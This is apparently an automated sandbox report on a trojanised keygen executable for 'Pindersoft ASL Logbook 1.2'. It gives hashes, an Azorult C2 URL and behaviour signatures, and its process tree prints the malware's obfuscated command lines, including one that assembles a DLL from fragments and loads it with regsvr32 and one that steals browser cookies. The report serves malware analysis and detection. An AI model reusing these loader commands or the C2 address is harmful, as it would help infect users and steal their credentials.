Analysis

  • max time kernel
    1795s
  • max time network
    1802s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    26-05-2021 11:52

General

  • Target

    Pindersoft.ASL.Logbook.1.2.keygen.by.ACME.exe

  • Size

    5.6MB

  • MD5

    3b15a5ba0c59d8dca729df14f9c47f9f

  • SHA1

    391298185efc7730aed2b3d5047baa6d661a327c

  • SHA256

    e43cd9cbc1433581660f7d364b4d9f8040f21f8ff43476f274b31cedf7029adc

  • SHA512

    3452026cecccc3baa04e49e279efffd13080fbe6ed1d0e9c0c0ee25f898c56c0b6f5ae6cf3f38486768bf6949cd779402d3ff7b2f11332252593a1a4d9721c98

Malware Config

Extracted

Family

azorult

C2

http://kvaka.li/1210776429.php

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • PlugX

    PlugX is a RAT (Remote Access Trojan) that has been around since 2008.

  • Executes dropped EXE 14 IoCs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • VMProtect packed file 3 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies data under HKEY_USERS 1 IoCs
  • Modifies registry class 9 IoCs
  • Suspicious behavior: EnumeratesProcesses 21 IoCs
  • Suspicious use of AdjustPrivilegeToken 29 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s WpnService
    1⤵
      PID:2796
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
      1⤵
        PID:2788
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s Browser
        1⤵
          PID:2748
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
          1⤵
            PID:2556
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2520
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
            1⤵
              PID:1872
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s SENS
              1⤵
                PID:1400
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                1⤵
                  PID:1360
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s Themes
                  1⤵
                    PID:1176
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                    1⤵
                      PID:1100
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                      1⤵
                        PID:1052
                      • c:\windows\system32\svchost.exe
                        c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                        1⤵
                          PID:300
                        • C:\Users\Admin\AppData\Local\Temp\Pindersoft.ASL.Logbook.1.2.keygen.by.ACME.exe
                          "C:\Users\Admin\AppData\Local\Temp\Pindersoft.ASL.Logbook.1.2.keygen.by.ACME.exe"
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1108
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3396
                            • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
                              keygen-pr.exe -p83fsase3Ge
                              3⤵
                              • Executes dropped EXE
                              • Suspicious use of WriteProcessMemory
                              PID:2228
                              • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
                                "C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"
                                4⤵
                                • Executes dropped EXE
                                • Suspicious use of WriteProcessMemory
                                PID:1132
                                • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
                                  C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat
                                  5⤵
                                    PID:2280
                              • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
                                keygen-step-1.exe
                                3⤵
                                • Executes dropped EXE
                                PID:3156
                              • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe
                                keygen-step-5.exe
                                3⤵
                                • Executes dropped EXE
                                • Suspicious use of WriteProcessMemory
                                PID:2940
                                • C:\Windows\SysWOW64\cmd.exe
                                  "C:\Windows\system32\cmd.exe" /C tYpe "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe"> ..\NDJCWG6x1B5POL.exE && sTart ..\NDJCwG6x1B5POL.eXe /phAHEKv_OvwcRThzpBiqu &IF "" == "" for %W in ( "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe" ) do taskkill /f /im "%~NXW" > nuL
                                  4⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:580
                                  • C:\Users\Admin\AppData\Local\Temp\NDJCWG6x1B5POL.exE
                                    ..\NDJCwG6x1B5POL.eXe /phAHEKv_OvwcRThzpBiqu
                                    5⤵
                                    • Executes dropped EXE
                                    • Suspicious use of WriteProcessMemory
                                    PID:3332
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\system32\cmd.exe" /C tYpe "C:\Users\Admin\AppData\Local\Temp\NDJCWG6x1B5POL.exE"> ..\NDJCWG6x1B5POL.exE && sTart ..\NDJCwG6x1B5POL.eXe /phAHEKv_OvwcRThzpBiqu &IF "/phAHEKv_OvwcRThzpBiqu " == "" for %W in ( "C:\Users\Admin\AppData\Local\Temp\NDJCWG6x1B5POL.exE" ) do taskkill /f /im "%~NXW" > nuL
                                      6⤵
                                        PID:416
                                      • C:\Windows\SysWOW64\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c EcHO | SEt /p = "MZ" > LlWH5FJ.7 & cOPY /B /y LLwH5FJ.7 + ZPe4.~ + 9SN9NHR.Tgg + 1R0uTYU.DJ0 + 0TDYg.j9 + O0BAH0AJ.J + CIAJUjYU.S + BH4JK.7j + JOHP5_rP.y7 + yg4~T5.JGO + X0NUI6.GV ..\cK7~~F.9u >NUl & dEl /Q * > nul& StART regsvr32.exe -s ..\CK7~~F.9u -U
                                        6⤵
                                        • Suspicious use of WriteProcessMemory
                                        PID:2388
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>LlWH5FJ.7"
                                          7⤵
                                            PID:936
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /S /D /c" EcHO "
                                            7⤵
                                              PID:2836
                                            • C:\Windows\SysWOW64\regsvr32.exe
                                              regsvr32.exe -s ..\CK7~~F.9u -U
                                              7⤵
                                              • Loads dropped DLL
                                              • Suspicious use of NtCreateThreadExHideFromDebugger
                                              PID:4208
                                        • C:\Windows\SysWOW64\taskkill.exe
                                          taskkill /f /im "keygen-step-5.exe"
                                          5⤵
                                          • Kills process with taskkill
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:2172
                                    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-6.exe
                                      keygen-step-6.exe
                                      3⤵
                                      • Executes dropped EXE
                                      PID:3464
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 3464 -s 1360
                                        4⤵
                                        • Drops file in Windows directory
                                        • Program crash
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:4696
                                    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
                                      keygen-step-3.exe
                                      3⤵
                                      • Executes dropped EXE
                                      PID:1472
                                    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
                                      keygen-step-4.exe
                                      3⤵
                                      • Executes dropped EXE
                                      • Suspicious use of WriteProcessMemory
                                      PID:2212
                                      • C:\Users\Admin\AppData\Local\Temp\RarSFX3\Crack.exe
                                        "C:\Users\Admin\AppData\Local\Temp\RarSFX3\Crack.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        • Checks computer location settings
                                        • Modifies registry class
                                        • Suspicious use of WriteProcessMemory
                                        PID:3852
                                        • C:\Windows\SysWOW64\rUNdlL32.eXe
                                          "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\install.dll",setpwd
                                          5⤵
                                          • Loads dropped DLL
                                          • Modifies registry class
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          • Suspicious use of WriteProcessMemory
                                          PID:744
                                      • C:\Users\Admin\AppData\Local\Temp\RarSFX3\jg6_6asg.exe
                                        "C:\Users\Admin\AppData\Local\Temp\RarSFX3\jg6_6asg.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        • Checks whether UAC is enabled
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:2832
                                      • C:\Users\Admin\AppData\Local\Temp\RarSFX3\GloryWSetp.exe
                                        "C:\Users\Admin\AppData\Local\Temp\RarSFX3\GloryWSetp.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:4248
                                      • C:\Users\Admin\AppData\Local\Temp\RarSFX3\gaoou.exe
                                        "C:\Users\Admin\AppData\Local\Temp\RarSFX3\gaoou.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        • Adds Run key to start application
                                        PID:4764
                                        • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                          C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                          5⤵
                                          • Executes dropped EXE
                                          PID:4812
                                        • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                          C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                          5⤵
                                          • Executes dropped EXE
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:4860
                                • \??\c:\windows\system32\svchost.exe
                                  c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                  1⤵
                                  • Suspicious use of SetThreadContext
                                  • Modifies data under HKEY_USERS
                                  • Modifies registry class
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  • Suspicious use of WriteProcessMemory
                                  PID:1388
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k SystemNetworkService
                                    2⤵
                                    • Modifies registry class
                                    PID:2460

                                Network

                                MITRE ATT&CK Enterprise v6

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • memory/300-179-0x000001D60EEB0000-0x000001D60EF20000-memory.dmp

                                  Filesize

                                  448KB

                                • memory/744-180-0x00000000047B0000-0x000000000480C000-memory.dmp

                                  Filesize

                                  368KB

                                • memory/744-178-0x00000000046A9000-0x00000000047AA000-memory.dmp

                                  Filesize

                                  1.0MB

                                • memory/1052-215-0x0000020CBFE50000-0x0000020CBFEC0000-memory.dmp

                                  Filesize

                                  448KB

                                • memory/1100-208-0x000001E936500000-0x000001E936570000-memory.dmp

                                  Filesize

                                  448KB

                                • memory/1132-142-0x0000000002BD0000-0x0000000002D6C000-memory.dmp

                                  Filesize

                                  1.6MB

                                • memory/1176-236-0x000001D8B8D20000-0x000001D8B8D90000-memory.dmp

                                  Filesize

                                  448KB

                                • memory/1360-238-0x0000023B8CB70000-0x0000023B8CBE0000-memory.dmp

                                  Filesize

                                  448KB

                                • memory/1388-190-0x000001C065AD0000-0x000001C065B40000-memory.dmp

                                  Filesize

                                  448KB

                                • memory/1400-221-0x0000024478380000-0x00000244783F0000-memory.dmp

                                  Filesize

                                  448KB

                                • memory/1872-234-0x000001B9F2860000-0x000001B9F28D0000-memory.dmp

                                  Filesize

                                  448KB

                                • memory/2460-216-0x000001F975C00000-0x000001F975C70000-memory.dmp

                                  Filesize

                                  448KB

                                • memory/2520-189-0x000001C8E7840000-0x000001C8E78B0000-memory.dmp

                                  Filesize

                                  448KB

                                • memory/2556-182-0x000001B5277C0000-0x000001B52780B000-memory.dmp

                                  Filesize

                                  300KB

                                • memory/2556-184-0x000001B527B80000-0x000001B527BF0000-memory.dmp

                                  Filesize

                                  448KB

                                • memory/2748-214-0x00000203D3A10000-0x00000203D3A80000-memory.dmp

                                  Filesize

                                  448KB

                                • memory/2788-240-0x000001E1DFE40000-0x000001E1DFEB0000-memory.dmp

                                  Filesize

                                  448KB

                                • memory/2796-242-0x0000028C4A700000-0x0000028C4A770000-memory.dmp

                                  Filesize

                                  448KB

                                • memory/2832-168-0x0000000000400000-0x00000000005DB000-memory.dmp

                                  Filesize

                                  1.9MB

                                • memory/2832-247-0x00000000033F0000-0x0000000003400000-memory.dmp

                                  Filesize

                                  64KB

                                • memory/2832-260-0x0000000004AE0000-0x0000000004AE8000-memory.dmp

                                  Filesize

                                  32KB

                                • memory/2832-259-0x00000000047A0000-0x00000000047A8000-memory.dmp

                                  Filesize

                                  32KB

                                • memory/2832-253-0x0000000003590000-0x00000000035A0000-memory.dmp

                                  Filesize

                                  64KB

                                • memory/3464-130-0x0000000000450000-0x0000000000467000-memory.dmp

                                  Filesize

                                  92KB

                                • memory/4208-245-0x00000000052D0000-0x000000000535F000-memory.dmp

                                  Filesize

                                  572KB

                                • memory/4208-246-0x00000000052D0000-0x000000000535F000-memory.dmp

                                  Filesize

                                  572KB

                                • memory/4208-244-0x0000000005210000-0x00000000052B2000-memory.dmp

                                  Filesize

                                  648KB

                                • memory/4208-243-0x0000000010000000-0x0000000010117000-memory.dmp

                                  Filesize

                                  1.1MB

                                • memory/4208-218-0x0000000005000000-0x0000000005102000-memory.dmp

                                  Filesize

                                  1.0MB

                                • memory/4248-272-0x00000000027E0000-0x00000000027E2000-memory.dmp

                                  Filesize

                                  8KB